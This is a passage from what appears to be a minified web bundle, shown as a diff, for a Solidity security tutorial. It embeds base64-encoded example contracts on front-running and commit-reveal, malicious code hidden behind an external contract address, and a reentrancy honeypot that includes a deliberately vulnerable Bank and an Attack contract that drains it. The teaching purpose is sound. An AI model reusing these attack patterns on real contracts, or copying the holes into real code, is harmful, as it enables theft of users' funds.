BnYXMgcHJpY2Ugc2V0IHRvIDE1IGd3ZWkuCjQuIEV2ZSBpcyB3YXRjaGluZyB0aGUgdHJhbnNhY3Rpb24gcG9vbCBmb3IgdGhlIGFuc3dlciB0byBiZSBzdWJtaXR0ZWQuCjUuIEV2ZSBzZWVzIEJvYidzIGFuc3dlciBhbmQgY2FsbHMgc29sdmUoIkV0aGVyZXVtIikgd2l0aCBhIGhpZ2hlciBnYXMgcHJpY2UKICAgdGhhbiBCb2IgKDEwMCBnd2VpKS4KNi4gRXZlJ3MgdHJhbnNhY3Rpb24gd2FzIG1pbmVkIGJlZm9yZSBCb2IncyB0cmFuc2FjdGlvbi4KICAgRXZlIHdvbiB0aGUgcmV3YXJkIG9mIDEwIGV0aGVyLgoKV2hhdCBoYXBwZW5lZD8KVHJhbnNhY3Rpb25zIHRha2Ugc29tZSB0aW1lIGJlZm9yZSB0aGV5IGFyZSBtaW5lZC4KVHJhbnNhY3Rpb25zIG5vdCB5ZXQgbWluZWQgYXJlIHB1dCBpbiB0aGUgdHJhbnNhY3Rpb24gcG9vbC4KVHJhbnNhY3Rpb25zIHdpdGggaGlnaGVyIGdhcyBwcmljZSBhcmUgdHlwaWNhbGx5IG1pbmVkIGZpcnN0LgpBbiBhdHRhY2tlciBjYW4gZ2V0IHRoZSBhbnN3ZXIgZnJvbSB0aGUgdHJhbnNhY3Rpb24gcG9vbCwgc2VuZCBhIHRyYW5zYWN0aW9uCndpdGggYSBoaWdoZXIgZ2FzIHByaWNlIHNvIHRoYXQgdGhlaXIgdHJhbnNhY3Rpb24gd2lsbCBiZSBpbmNsdWRlZCBpbiBhIGJsb2NrCmJlZm9yZSB0aGUgb3JpZ2luYWwuCiovCgpjb250cmFjdCBGaW5kVGhpc0hhc2ggewogICAgYnl0ZXMzMiBwdWJsaWMgY29uc3RhbnQgaGFzaCA9CiAgICAgICAgMHg1NjRjY2FmNzU5NGQ2NmIxZWFhZWEyNGZlMDFmMDU4NWJmNTJlZTcwODUyYWY0ZWFjMGNjNGIwNDcxMWNkMGUyOwoKICAgIGNvbnN0cnVjdG9yKCkgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIHNvbHZlKHN0cmluZyBtZW1vcnkgc29sdXRpb24pIHB1YmxpYyB7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgaGFzaCA9PSBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChzb2x1dGlvbikpLCAiSW5jb3JyZWN0IGFuc3dlciIKICAgICAgICApOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IDEwIGV0aGVyfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQo="},{fileName:"PreventFrontRunning.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCiAgIE5vdyBMZXQncyBzZWUgaG93IHRvIGd1YXJkIGZyb20gZnJvbnQgcnVubmluZyB1c2luZyBjb21taXQgcmV2ZWFsIHNjaGVtZS4KKi8KCi8qCjEuIEFsaWNlIGRlcGxveXMgU2VjdXJlZEZpbmRUaGlzSGFzaCB3aXRoIDEwIEV0aGVyLgoyLiBCb2IgZmluZHMgdGhlIGNvcnJlY3Qgc3RyaW5nIHRoYXQgd2lsbCBoYXNoIHRvIHRoZSB0YXJnZXQgaGFzaC4gKCJFdGhlcmV1bSIpLgozLiBCb2IgdGhlbiBmaW5kcyB0aGUga2VjY2FrMjU2KEFkZHJlc3MgaW4gbG93ZXJjYXNlICsgU29sdXRpb24gKyBTZWNyZXQpLiAKICAgQWRkcmVzcyBpcyBoaXMgd2FsbGV0IGFkZHJlc3MgaW4gbG93ZXJjYXNlLCBzb2x1dGlvbiBpcyAiRXRoZXJldW0iLCBTZWNyZXQgaXMgbGlrZSBhbiBwYXNzd29yZCAoIm15c2VjcmV0IikgCiAgIHRoYXQgb25seSBCb2Iga25vd3Mgd2hpYyBCb2IgdXNlcyB0byBjb21taXQgYW5kIHJldmVhbCB0aGUgc29sdXRpb24uCiAgIGtlY2NhazI1NjYoIjB4ZjM5RmQ2ZTUxYWFkODhGNkY0Y2U2YUI4ODI3Mjc5Y2ZmRmI5MjI2NkV0aGVyZXVtbXlzZWNyZXQiKSA9ICcweGY5NWIxZGQ2MWVkYzNiZDk2MmNkZWEzOTg3YzZmNTViY2I3MTRhMDJhMmMzZWI3M2JkOTYwZDZiNDM4N2ZjMzYnCjMuIEJvYiB0aGVuIGNhbGxzIGNvbW1pdFNvbHV0aW9uKCIweGY5NWIxZGQ2MWVkYzNiZDk2MmNkZWEzOTg3YzZmNTViY2I3MTRhMDJhMmMzZWI3M2JkOTYwZDZiNDM4N2ZjMzYiKSwgCiAgIHdoZXJlIGhlIGNvbW1pdHMgdGhlIGNhbGN1bGF0ZWQgc29sdXRpb24gaGFzaCB3aXRoIGdhcyBwcmljZSBzZXQgdG8gMTUgZ3dlaS4KNC4gRXZlIGlzIHdhdGNoaW5nIHRoZSB0cmFuc2FjdGlvbiBwb29sIGZvciB0aGUgYW5zd2VyIHRvIGJlIHN1Ym1pdHRlZC4KNS4gRXZlIHNlZXMgQm9iJ3MgYW5zd2VyIGFuZCBoZSBhbHNvIGNhbGxzIGNvbW1pdFNvbHV0aW9uKCIweGY5NWIxZGQ2MWVkYzNiZDk2MmNkZWEzOTg3YzZmNTViY2I3MTRhMDJhMmMzZWI3M2JkOTYwZDZiNDM4N2ZjMzYiKQogICB3aXRoIGEgaGlnaGVyIGdhcyBwcmljZSB0aGFuIEJvYiAoMTAwIGd3ZWkpLgo2LiBFdmUncyB0cmFuc2FjdGlvbiB3YXMgbWluZWQgYmVmb3JlIEJvYidzIHRyYW5zYWN0aW9uLCBidXQgRXZlIGhhcyBub3QgZ290IHRoZSByZXdhcmQgeWV0LgogICBIZSBuZWVkcyB0byBjYWxsIHJldmVhbFNvbHV0aW9uKCkgd2l0aCBleGFjdCBzZWNyZXQgYW5kIHNvbHV0aW9uLCBzbyBsZXRzIHNheSBoZSBpcyB3YXRjaGluZyB0aGUgdHJhbnNhY3Rpb24gcG9vbAogICB0byBmcm9udCBydW4gQm9iIGFzIGhlIGRpZCBwcmV2aW91c2x5CjcuIFRoZW4gQm9iIGNhbGxzIHRoZSByZXZlYWxTb2x1dGlvbigiRXRoZXJldW0iLCAibXlzZWNyZXQiKSB3aXRoIGdhcyBwcmljZSBzZXQgdG8gMTUgZ3dlaTsKOC4gTGV0J3MgY29uc2lkZXIgdGhhdCBFdmUncyB3aG8ncyB3YXRjaGluZyB0aGUgdHJhbnNhY3Rpb24gcG9vbCwgZmluZCdzIEJvYidzIHJldmVhbCBzb2x1dGlvbiB0cmFuc2FjdGlvbiBhbmQgaGUgYWxzbyBjYWxscyAKICAgcmV2ZWFsU29sdXRpb24oIkV0aGVyZXVtIiwgIm15c2VjcmV0Iikgd2l0aCBoaWdoZXIgZ2FzIHByaWNlIHRoYW4gQm9iICgxMDAgZ3dlaSkKOS4gTGV0J3MgY29uc2lkZXIgdGhhdCB0aGlzIHRpbWUgYWxzbyBFdmUncyByZXZlYWwgdHJhbnNhY3Rpb24gd2FzIG1pbmVkIGJlZm9yZSBCb2IncyB0cmFuc2FjdGlvbiwgYnV0IEV2ZSB3aWxsIGJlCiAgIHJldmVydGVkIHdpdGggIkhhc2ggZG9lc24ndCBtYXRjaCIgZXJyb3IuIFNpbmNlIHRoZSByZXZlYWxTb2x1dGlvbigpIGZ1bmN0aW9uIGNoZWNrcyB0aGUgaGFzaCB1c2luZyAKICAga2VjY2FrMjU2KG1zZy5zZW5kZXIgKyBzb2x1dGlvbiArIHNlY3JldCkuIFNvIHRoaXMgdGltZSBldmUgZmFpbHMgdG8gd2luIHRoZSByZXdhcmQuCjEwLkJ1dCBCb2IncyByZXZlYWxTb2x1dGlvbigiRXRoZXJldW0iLCAibXlzZWNyZXQiKSBwYXNzZXMgdGhlIGhhc2ggY2hlY2sgYW5kIGdldHMgdGhlIHJld2FyZCBvZiAxMCBldGhlci4KKi8KCmNvbnRyYWN0IFNlY3VyZWRGaW5kVGhpc0hhc2ggewogICAgLy8gU3RydWN0IGlzIHVzZWQgdG8gc3RvcmUgdGhlIGNvbW1pdCBkZXRhaWxzCiAgICBzdHJ1Y3QgQ29tbWl0IHsKICAgICAgICBieXRlczMyIHNvbHV0aW9uSGFzaDsKICAgICAgICB1aW50MjU2IGNvbW1pdFRpbWU7CiAgICAgICAgYm9vbCByZXZlYWxlZDsKICAgIH0KCiAgICAvLyBUaGUgaGFzaCB0aGF0IGlzIG5lZWRlZCB0byBiZSBzb2x2ZWQKICAgIGJ5dGVzMzIgcHVibGljIGhhc2ggPQogICAgICAgIDB4NTY0Y2NhZjc1OTRkNjZiMWVhYWVhMjRmZTAxZjA1ODViZjUyZWU3MDg1MmFmNGVhYzBjYzRiMDQ3MTFjZDBlMjsKCiAgICAvLyBBZGRyZXNzIG9mIHRoZSB3aW5uZXIKICAgIGFkZHJlc3MgcHVibGljIHdpbm5lcjsKCiAgICAvLyBQcmljZSB0byBiZSByZXdhcmRlZAogICAgdWludDI1NiBwdWJsaWMgcmV3YXJkOwoKICAgIC8vIFN0YXR1cyBvZiBnYW1lCiAgICBib29sIHB1YmxpYyBlbmRlZDsKCiAgICAvLyBNYXBwaW5nIHRvIHN0b3JlIHRoZSBjb21taXQgZGV0YWlscyB3aXRoIGFkZHJlc3MKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBDb21taXQpIGNvbW1pdHM7CgogICAgLy8gTW9kaWZpZXIgdG8gY2hlY2sgaWYgdGhlIGdhbWUgaXMgYWN0aXZlCiAgICBtb2RpZmllciBnYW1lQWN0aXZlKCkgewogICAgICAgIHJlcXVpcmUoIWVuZGVkLCAiQWxyZWFkeSBlbmRlZCIpOwogICAgICAgIF87CiAgICB9CgogICAgY29uc3RydWN0b3IoKSBwYXlhYmxlIHsKICAgICAgICByZXdhcmQgPSBtc2cudmFsdWU7CiAgICB9CgogICAgLyogCiAgICAgICBDb21taXQgZnVuY3Rpb24gdG8gc3RvcmUgdGhlIGhhc2ggY2FsY3VsYXRlZCB1c2luZyBrZWNjYWsyNTYoYWRkcmVzcyBpbiBsb3dlcmNhc2UgKyBzb2x1dGlvbiArIHNlY3JldCkuIAogICAgICAgVXNlcnMgY2FuIG9ubHkgY29tbWl0IG9uY2UgYW5kIGlmIHRoZSBnYW1lIGlzIGFjdGl2ZS4KICAgICovCiAgICBmdW5jdGlvbiBjb21taXRTb2x1dGlvbihieXRlczMyIF9zb2x1dGlvbkhhc2gpIHB1YmxpYyBnYW1lQWN0aXZlIHsKICAgICAgICBDb21taXQgc3RvcmFnZSBjb21taXQgPSBjb21taXRzW21zZy5zZW5kZXJdOwogICAgICAgIHJlcXVpcmUoY29tbWl0LmNvbW1pdFRpbWUgPT0gMCwgIkFscmVhZHkgY29tbWl0dGVkIik7CiAgICAgICAgY29tbWl0LnNvbHV0aW9uSGFzaCA9IF9zb2x1dGlvbkhhc2g7CiAgICAgICAgY29tbWl0LmNvbW1pdFRpbWUgPSBibG9jay50aW1lc3RhbXA7CiAgICAgICAgY29tbWl0LnJldmVhbGVkID0gZmFsc2U7CiAgICB9CgogICAgLyogCiAgICAgICAgRnVuY3Rpb24gdG8gZ2V0IHRoZSBjb21taXQgZGV0YWlscy4gSXQgcmV0dXJucyBhIHR1cGxlIG9mIChzb2x1dGlvbkhhc2gsIGNvbW1pdFRpbWUsIHJldmVhbFN0YXR1cyk7ICAKICAgICAgICBVc2VycyBjYW4gZ2V0IHNvbHV0aW9uIG9ubHkgaWYgdGhlIGdhbWUgaXMgYWN0aXZlIGFuZCB0aGV5IGhhdmUgY29tbWl0dGVkIGEgc29sdXRpb25IYXNoCiAgICAqLwogICAgZnVuY3Rpb24gZ2V0TXlTb2x1dGlvbigpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIGdhbWVBY3RpdmUKICAgICAgICByZXR1cm5zIChieXRlczMyLCB1aW50MjU2LCBib29sKQogICAgewogICAgICAgIENvbW1pdCBzdG9yYWdlIGNvbW1pdCA9IGNvbW1pdHNbbXNnLnNlbmRlcl07CiAgICAgICAgcmVxdWlyZShjb21taXQuY29tbWl0VGltZSAhPSAwLCAiTm90IGNvbW1pdHRlZCB5ZXQiKTsKICAgICAgICByZXR1cm4gKGNvbW1pdC5zb2x1dGlvbkhhc2gsIGNvbW1pdC5jb21taXRUaW1lLCBjb21taXQucmV2ZWFsZWQpOwogICAgfQogICAgLyogCiAgICAgICAgRnVuY3Rpb24gdG8gcmV2ZWFsIHRoZSBjb21taXQgYW5kIGdldCB0aGUgcmV3YXJkLiAKICAgICAgICBVc2VycyBjYW4gZ2V0IHJldmVhbCBzb2x1dGlvbiBvbmx5IGlmIHRoZSBnYW1lIGlzIGFjdGl2ZSBhbmQgdGhleSBoYXZlIGNvbW1pdHRlZCBhIHNvbHV0aW9uSGFzaCBiZWZvcmUgdGhpcyBibG9jayBhbmQgbm90IHJldmVhbGVkIHlldC4KICAgICAgICBJdCBnZW5lcmF0ZXMgYW4ga2VjY2FrMjU2KG1zZy5zZW5kZXIgKyBzb2x1dGlvbiArIHNlY3JldCkgYW5kIGNoZWNrcyBpdCB3aXRoIHRoZSBwcmV2aW91c2x5IGNvbW1pdGVkIGhhc2guICAKICAgICAgICBBc3N1bWluZyB0aGF0IGEgY29tbWl0IHdhcyBhbHJlYWR5IGluY2x1ZGVkIG9uIGNoYWluLCBmcm9udCBydW5uZXJzIHdpbGwgbm90IGJlIGFibGUgdG8gcGFzcyB0aGlzIGNoZWNrIHNpbmNlIHRoZSBtc2cuc2VuZGVyIGlzIGRpZmZlcmVudC4KICAgICAgICBUaGVuIHRoZSBhY3R1YWwgc29sdXRpb24gaXMgY2hlY2tlZCB1c2luZyBrZWNjYWsyNTYoc29sdXRpb24pLCBpZiB0aGUgc29sdXRpb24gbWF0Y2hlcywgdGhlIHdpbm5lciBpcyBkZWNsYXJlZCwgCiAgICAgICAgdGhlIGdhbWUgaXMgZW5kZWQgYW5kIHRoZSByZXdhcmQgYW1vdW50IGlzIHNlbnQgdG8gdGhlIHdpbm5lci4KICAgICovCgogICAgZnVuY3Rpb24gcmV2ZWFsU29sdXRpb24oc3RyaW5nIG1lbW9yeSBfc29sdXRpb24sIHN0cmluZyBtZW1vcnkgX3NlY3JldCkKICAgICAgICBwdWJsaWMKICAgICAgICBnYW1lQWN0aXZlCiAgICB7CiAgICAgICAgQ29tbWl0IHN0b3JhZ2UgY29tbWl0ID0gY29tbWl0c1ttc2cuc2VuZGVyXTsKICAgICAgICByZXF1aXJlKGNvbW1pdC5jb21taXRUaW1lICE9IDAsICJOb3QgY29tbWl0dGVkIHlldCIpOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIGNvbW1pdC5jb21taXRUaW1lIDwgYmxvY2sudGltZXN0YW1wLAogICAgICAgICAgICAiQ2Fubm90IHJldmVhbCBpbiB0aGUgc2FtZSBibG9jayIKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoIWNvbW1pdC5yZXZlYWxlZCwgIkFscmVhZHkgY29tbWl0ZWQgYW5kIHJldmVhbGVkIik7CgogICAgICAgIGJ5dGVzMzIgc29sdXRpb25IYXNoID0KICAgICAgICAgICAga2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQobXNnLnNlbmRlciwgX3NvbHV0aW9uLCBfc2VjcmV0KSk7CiAgICAgICAgcmVxdWlyZShzb2x1dGlvbkhhc2ggPT0gY29tbWl0LnNvbHV0aW9uSGFzaCwgIkhhc2ggZG9lc24ndCBtYXRjaCIpOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfc29sdXRpb24pKSA9PSBoYXNoLCAiSW5jb3JyZWN0IGFuc3dlciIKICAgICAgICApOwoKICAgICAgICB3aW5uZXIgPSBtc2cuc2VuZGVyOwogICAgICAgIGVuZGVkID0gdHJ1ZTsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gcGF5YWJsZShtc2cuc2VuZGVyKS5jYWxse3ZhbHVlOiByZXdhcmR9KCIiKTsKICAgICAgICBpZiAoIXNlbnQpIHsKICAgICAgICAgICAgd2lubmVyID0gYWRkcmVzcygwKTsKICAgICAgICAgICAgZW5kZWQgPSBmYWxzZTsKICAgICAgICAgICAgcmV2ZXJ0KCJGYWlsZWQgdG8gc2VuZCBldGhlci4iKTsKICAgICAgICB9CiAgICB9Cn0K"}],e0=`

                                    Vulnerability

                                    Transactions take some time before they are mined. An attacker can watch the transaction pool and send a transaction, have it included in a block before the original transaction. This mechanism can be abused to re-order transactions to the attacker's advantage.

                                    @@ -9987,7 +9987,7 @@ before the original. } } } -`,t0=({prev:s,next:a})=>r.jsx(A,{version:n0,title:l0,description:p0,html:c0,prev:s,next:a,codes:e0}),o0="0.8.24",r0="Hiding Malicious Code with External Contract",i0="An example of exploit where malicious code is hidden in an external contract in Solidity",g0=[{fileName:"ExternalContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkxldCdzIHNheSBBbGljZSBjYW4gc2VlIHRoZSBjb2RlIG9mIEZvbyBhbmQgQmFyIGJ1dCBub3QgTWFsLgpJdCBpcyBvYnZpb3VzIHRvIEFsaWNlIHRoYXQgRm9vLmNhbGxCYXIoKSBleGVjdXRlcyB0aGUgY29kZSBpbnNpZGUgQmFyLmxvZygpLgpIb3dldmVyIEV2ZSBkZXBsb3lzIEZvbyB3aXRoIHRoZSBhZGRyZXNzIG9mIE1hbCwgc28gdGhhdCBjYWxsaW5nIEZvby5jYWxsQmFyKCkKd2lsbCBhY3R1YWxseSBleGVjdXRlIHRoZSBjb2RlIGF0IE1hbC4KKi8KCi8qCjEuIEV2ZSBkZXBsb3lzIE1hbAoyLiBFdmUgZGVwbG95cyBGb28gd2l0aCB0aGUgYWRkcmVzcyBvZiBNYWwKMy4gQWxpY2UgY2FsbHMgRm9vLmNhbGxCYXIoKSBhZnRlciByZWFkaW5nIHRoZSBjb2RlIGFuZCBqdWRnaW5nIHRoYXQgaXQgaXMKICAgc2FmZSB0byBjYWxsLgo0LiBBbHRob3VnaCBBbGljZSBleHBlY3RlZCBCYXIubG9nKCkgdG8gYmUgZXhlY3V0ZSwgTWFsLmxvZygpIHdhcyBleGVjdXRlZC4KKi8KCmNvbnRyYWN0IEZvbyB7CiAgICBCYXIgYmFyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX2JhcikgewogICAgICAgIGJhciA9IEJhcihfYmFyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYWxsQmFyKCkgcHVibGljIHsKICAgICAgICBiYXIubG9nKCk7CiAgICB9Cn0KCmNvbnRyYWN0IEJhciB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZ1bmN0aW9uIGxvZygpIHB1YmxpYyB7CiAgICAgICAgZW1pdCBMb2coIkJhciB3YXMgY2FsbGVkIik7CiAgICB9Cn0KCi8vIFRoaXMgY29kZSBpcyBoaWRkZW4gaW4gYSBzZXBhcmF0ZSBmaWxlCmNvbnRyYWN0IE1hbCB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIC8vIGZ1bmN0aW9uICgpIGV4dGVybmFsIHsKICAgIC8vICAgICBlbWl0IExvZygiTWFsIHdhcyBjYWxsZWQiKTsKICAgIC8vIH0KCiAgICAvLyBBY3R1YWxseSB3ZSBjYW4gZXhlY3V0ZSB0aGUgc2FtZSBleHBsb2l0IGV2ZW4gaWYgdGhpcyBmdW5jdGlvbiBkb2VzCiAgICAvLyBub3QgZXhpc3QgYnkgdXNpbmcgdGhlIGZhbGxiYWNrCiAgICBmdW5jdGlvbiBsb2coKSBwdWJsaWMgewogICAgICAgIGVtaXQgTG9nKCJNYWwgd2FzIGNhbGxlZCIpOwogICAgfQp9Cg=="}],h0=`

                                    Vulnerability

                                    +`,c0=({prev:s,next:a})=>r.jsx(A,{version:a0,title:n0,description:l0,html:e0,prev:s,next:a,codes:p0}),t0="0.8.24",o0="Hiding Malicious Code with External Contract",r0="An example of exploit where malicious code is hidden in an external contract in Solidity",i0=[{fileName:"ExternalContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkxldCdzIHNheSBBbGljZSBjYW4gc2VlIHRoZSBjb2RlIG9mIEZvbyBhbmQgQmFyIGJ1dCBub3QgTWFsLgpJdCBpcyBvYnZpb3VzIHRvIEFsaWNlIHRoYXQgRm9vLmNhbGxCYXIoKSBleGVjdXRlcyB0aGUgY29kZSBpbnNpZGUgQmFyLmxvZygpLgpIb3dldmVyIEV2ZSBkZXBsb3lzIEZvbyB3aXRoIHRoZSBhZGRyZXNzIG9mIE1hbCwgc28gdGhhdCBjYWxsaW5nIEZvby5jYWxsQmFyKCkKd2lsbCBhY3R1YWxseSBleGVjdXRlIHRoZSBjb2RlIGF0IE1hbC4KKi8KCi8qCjEuIEV2ZSBkZXBsb3lzIE1hbAoyLiBFdmUgZGVwbG95cyBGb28gd2l0aCB0aGUgYWRkcmVzcyBvZiBNYWwKMy4gQWxpY2UgY2FsbHMgRm9vLmNhbGxCYXIoKSBhZnRlciByZWFkaW5nIHRoZSBjb2RlIGFuZCBqdWRnaW5nIHRoYXQgaXQgaXMKICAgc2FmZSB0byBjYWxsLgo0LiBBbHRob3VnaCBBbGljZSBleHBlY3RlZCBCYXIubG9nKCkgdG8gYmUgZXhlY3V0ZSwgTWFsLmxvZygpIHdhcyBleGVjdXRlZC4KKi8KCmNvbnRyYWN0IEZvbyB7CiAgICBCYXIgYmFyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX2JhcikgewogICAgICAgIGJhciA9IEJhcihfYmFyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYWxsQmFyKCkgcHVibGljIHsKICAgICAgICBiYXIubG9nKCk7CiAgICB9Cn0KCmNvbnRyYWN0IEJhciB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZ1bmN0aW9uIGxvZygpIHB1YmxpYyB7CiAgICAgICAgZW1pdCBMb2coIkJhciB3YXMgY2FsbGVkIik7CiAgICB9Cn0KCi8vIFRoaXMgY29kZSBpcyBoaWRkZW4gaW4gYSBzZXBhcmF0ZSBmaWxlCmNvbnRyYWN0IE1hbCB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIC8vIGZ1bmN0aW9uICgpIGV4dGVybmFsIHsKICAgIC8vICAgICBlbWl0IExvZygiTWFsIHdhcyBjYWxsZWQiKTsKICAgIC8vIH0KCiAgICAvLyBBY3R1YWxseSB3ZSBjYW4gZXhlY3V0ZSB0aGUgc2FtZSBleHBsb2l0IGV2ZW4gaWYgdGhpcyBmdW5jdGlvbiBkb2VzCiAgICAvLyBub3QgZXhpc3QgYnkgdXNpbmcgdGhlIGZhbGxiYWNrCiAgICBmdW5jdGlvbiBsb2coKSBwdWJsaWMgewogICAgICAgIGVtaXQgTG9nKCJNYWwgd2FzIGNhbGxlZCIpOwogICAgfQp9Cg=="}],g0=`

                                    Vulnerability

                                    In Solidity any address can be casted into specific contract, even if the contract at the address is not the one being casted.

                                    This can be exploited to hide malicious code. Let's see how.

                                    @@ -10054,7 +10054,7 @@ external contract can be reviewed constructor() public { bar = new Bar(); } -`,I0=({prev:s,next:a})=>r.jsx(A,{version:o0,title:r0,description:i0,html:h0,prev:s,next:a,codes:g0}),d0="0.8.24",C0="Honeypot",j0="An example of honeypot in Solidity",A0=[{fileName:"HoneyPot.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkJhbmsgaXMgYSBjb250cmFjdCB0aGF0IGNhbGxzIExvZ2dlciB0byBsb2cgZXZlbnRzLgpCYW5rLndpdGhkcmF3KCkgaXMgdnVsbmVyYWJsZSB0byB0aGUgcmVlbnRyYW5jeSBhdHRhY2suClNvIGEgaGFja2VyIHRyaWVzIHRvIGRyYWluIEV0aGVyIGZyb20gQmFuay4KQnV0IGFjdHVhbGx5IHRoZSByZWVudHJhY3kgZXhwbG9pdCBpcyBhIGJhaXQgZm9yIGhhY2tlcnMuCkJ5IGRlcGxveWluZyBCYW5rIHdpdGggSG9uZXlQb3QgaW4gcGxhY2Ugb2YgdGhlIExvZ2dlciwgdGhpcyBjb250cmFjdCBiZWNvbWVzCmEgdHJhcCBmb3IgaGFja2Vycy4gTGV0J3Mgc2VlIGhvdy4KCjEuIEFsaWNlIGRlcGxveXMgSG9uZXlQb3QKMi4gQWxpY2UgZGVwbG95cyBCYW5rIHdpdGggdGhlIGFkZHJlc3Mgb2YgSG9uZXlQb3QKMy4gQWxpY2UgZGVwb3NpdHMgMSBFdGhlciBpbnRvIEJhbmsuCjQuIEV2ZSBkaXNjb3ZlcnMgdGhlIHJlZW50cmFuY3kgZXhwbG9pdCBpbiBCYW5rLndpdGhkcmF3IGFuZCBkZWNpZGVzIHRvIGhhY2sgaXQuCjUuIEV2ZSBkZXBsb3lzIEF0dGFjayB3aXRoIHRoZSBhZGRyZXNzIG9mIEJhbmsKNi4gRXZlIGNhbGxzIEF0dGFjay5hdHRhY2soKSB3aXRoIDEgRXRoZXIgYnV0IHRoZSB0cmFuc2FjdGlvbiBmYWlscy4KCldoYXQgaGFwcGVuZWQ/CkV2ZSBjYWxscyBBdHRhY2suYXR0YWNrKCkgYW5kIGl0IHN0YXJ0cyB3aXRoZHJhd2luZyBFdGhlciBmcm9tIEJhbmsuCldoZW4gdGhlIGxhc3QgQmFuay53aXRoZHJhdygpIGlzIGFib3V0IHRvIGNvbXBsZXRlLCBpdCBjYWxscyBsb2dnZXIubG9nKCkuCkxvZ2dlci5sb2coKSBjYWxscyBIb25leVBvdC5sb2coKSBhbmQgcmV2ZXJ0cy4gVHJhbnNhY3Rpb24gZmFpbHMuCiovCgpjb250cmFjdCBCYW5rIHsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZXM7CiAgICBMb2dnZXIgbG9nZ2VyOwoKICAgIGNvbnN0cnVjdG9yKExvZ2dlciBfbG9nZ2VyKSB7CiAgICAgICAgbG9nZ2VyID0gTG9nZ2VyKF9sb2dnZXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gKz0gbXNnLnZhbHVlOwogICAgICAgIGxvZ2dlci5sb2cobXNnLnNlbmRlciwgbXNnLnZhbHVlLCAiRGVwb3NpdCIpOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgX2Ftb3VudCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKF9hbW91bnQgPD0gYmFsYW5jZXNbbXNnLnNlbmRlcl0sICJJbnN1ZmZpY2llbnQgZnVuZHMiKTsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gbXNnLnNlbmRlci5jYWxse3ZhbHVlOiBfYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKCiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gLT0gX2Ftb3VudDsKCiAgICAgICAgbG9nZ2VyLmxvZyhtc2cuc2VuZGVyLCBfYW1vdW50LCAiV2l0aGRyYXciKTsKICAgIH0KfQoKY29udHJhY3QgTG9nZ2VyIHsKICAgIGV2ZW50IExvZyhhZGRyZXNzIGNhbGxlciwgdWludDI1NiBhbW91bnQsIHN0cmluZyBhY3Rpb24pOwoKICAgIGZ1bmN0aW9uIGxvZyhhZGRyZXNzIF9jYWxsZXIsIHVpbnQyNTYgX2Ftb3VudCwgc3RyaW5nIG1lbW9yeSBfYWN0aW9uKQogICAgICAgIHB1YmxpYwogICAgewogICAgICAgIGVtaXQgTG9nKF9jYWxsZXIsIF9hbW91bnQsIF9hY3Rpb24pOwogICAgfQp9CgovLyBIYWNrZXIgdHJpZXMgdG8gZHJhaW4gdGhlIEV0aGVycyBzdG9yZWQgaW4gQmFuayBieSByZWVudHJhbmN5Lgpjb250cmFjdCBBdHRhY2sgewogICAgQmFuayBiYW5rOwoKICAgIGNvbnN0cnVjdG9yKEJhbmsgX2JhbmspIHsKICAgICAgICBiYW5rID0gQmFuayhfYmFuayk7CiAgICB9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBpZiAoYWRkcmVzcyhiYW5rKS5iYWxhbmNlID49IDEgZXRoZXIpIHsKICAgICAgICAgICAgYmFuay53aXRoZHJhdygxIGV0aGVyKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIGJhbmsuZGVwb3NpdHt2YWx1ZTogMSBldGhlcn0oKTsKICAgICAgICBiYW5rLndpdGhkcmF3KDEgZXRoZXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEJhbGFuY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgI